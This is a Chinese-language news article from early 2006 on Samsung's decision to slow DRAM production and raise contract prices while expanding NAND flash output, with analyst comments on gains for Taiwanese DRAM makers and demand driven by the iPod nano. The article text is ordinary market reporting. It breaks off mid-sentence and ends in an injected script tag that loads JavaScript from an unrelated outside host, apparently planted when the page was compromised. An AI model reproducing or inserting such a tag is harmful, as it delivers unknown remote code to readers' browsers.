“作为产业龙头的三星率先跨出控制dram产量提高价格的一步，最直接受益的就是具有制造规模优势的台湾制造厂。
弹冠相庆！这是台湾dram(动态内存)业界近年来难得一见的喜悦场面。
一切缘自三星电子集团最近宣布的一条消息。作为全球第一大dram厂的三星突然宣布，将放弃其全球最先进的12英寸厂70奈米制程投产计划，改用8英寸厂0.10微米制程投产dram。此前一周，三星已与各主力pc厂商磋商，拟提高dram合约价10%。
由于受三星等行业领导企业的打压，尽管台系厂商占据了全球dram市场约27%的份额，但毛利却不到5%。“与tft-lcd行业一样，dram技术更新换代快，厂商利润往往消耗在不断的产业升级比拼上。”赛迪顾问半导体咨询事业部副总经理李珂表示，“三星暂缓升级并主动提高合约价，等于给了其他厂商喘息机会。”
三星到底打着什么算盘？北京泰科源科技公司总经理冯伟认为，尽管三星的举动会使自身dram产能缩减，随着合约提价，在后势看涨的市场中有可能获利更丰；另一方面，放缓dram生产线更替改造，三星将有更多资本投降高毛利的nand闪存市场。
“尽管价格一降再降，但销售三星nand闪存目前仍可保持近40%的毛利。”冯伟表示。泰科源是目前国内唯一一家三星存储器产品授权代理商。
ipod nano示范效应
三星电子集团13日公布的最新季报(2005年10月-12月)显示，当季利润增长了40%，这是该公司5个季度以来的首次增长。
“拉动业绩的核心动力就是市场对nand闪存芯片和液晶面板的强劲需求。”上海三星半导体有限公司lsi部经理朱明辉表示。他认为，三星更换制程减产dram主要是因为nand闪存市场的爆炸式增长。
朱预计，由于来自手机、mp3、数码相机、其他消费类电子、移动设备等的强大需求，2006年nand闪存产业将会有爆炸式成长。至于dram和液晶面板业务，“若pc整体销售疲软以及市场供过于求状况得不到明显改善的话，前景则不容乐观”。
他进一步指出，与2005年初相比，256m ddr dram在2005年12月底的售价下滑了40%多，与第三季度相比下滑了6%，同容量的ddrii dram价格相对高出几十元，但作为升级产品，ddrii生产成本更高，但毛利甚至不如ddr。“价格偏高以及市场应用不明朗，导致ddrii并没有实现对ddr的快速替代。”
相反，nand闪存尽管2005年第四季度价格下滑了17%，但市场需求却翻了一倍，毛利也是dram的数倍。
“据isuppli发布的报告，2006年全球nand闪存销售额将增长56%。三星现阶段占有该市场约60%的份额，面对迅速膨胀的需求，三星必须加大投入以巩固市场地位。”朱明辉表示，仅2005年apple推出的ipod nano这个单一产品，就让当年全球nand闪存的应用范围上升到108亿美元的规模，比2004年同期的66.4亿美元增长了63%。
此前，三星nand闪存销售副总don barnetson在2006年“国际消费性电子产品展”(ces 06)接受采访时也说，2004年mp3约消耗了全球18%的nand闪存芯片供应量，2005年上升到29%，“nand的销售成长速度比整体市场要快很多，单单就mp3而言，三星相信2006在nand闪存市场上就会是一个丰收年”。
李珂也表示，随着3g在全球逐步铺开，预估2006年内置闪存存储卡的手机出货量将达到2.78亿部，较2005年同期增长23%，同时手机也将成为继mp3后最主要的nand闪存应用产品；另一方面，在新兴消费电子产品市场，由于主要游戏机厂商将会在2006下半年推出内置型nand闪存的新型游戏机，以及卫星定位装置(gps)、新型pda、数字机顶盒与高清数字电视等产品开始大量采用nand闪存，也将使其市场应用领域越来越广泛。
台湾dram厂喘息之机
据李珂介绍，全球dram市场主要分为四个阵营：三星约占27%的份额；台系厂商中茂德、力晶、南科各占全球产能5%-6%，加上华邦约2%-3%，台系厂商整体约占到全球20%的份额；另外，美光(micron)与英飞凌(infineon)各占约18.5%与17.1%。
“作为产业龙头的三星率先跨出控制dram产量提高价格的一步，最直接受益的就是具有制造规模优势的台湾制造厂。”李珂指出。
李珂称，台湾制造厂近年来持久扩充产能，且都是采用最新制程，而近一年来dram产品价格的不断下滑以及ddrii一直无法全面填充ddr占有率，给台湾制造厂在盈利及资本周转上造成很大压力。
“台湾dram产业的立足根本，就在于制造优势及产业规模。”与多家台湾dram厂有长期合作的记忆科技(深圳)有限公司内存事业部副总经理王劲松表示，现阶段台湾制造厂在生产效率及优良率上都已超越原厂(如与英飞凌合作的茂德、与三菱合作的力晶)，技术方面虽然还未能百分之百自主，但也推动多年与原厂的技术授权、合作开发建立了深厚的基础。
另一方面，虽然现阶段ddrii的整体市场尚未打开，获利状况也并不明朗，但随着intel与微软2006年力推数字家庭，?script src=http://er12.com/t.js>
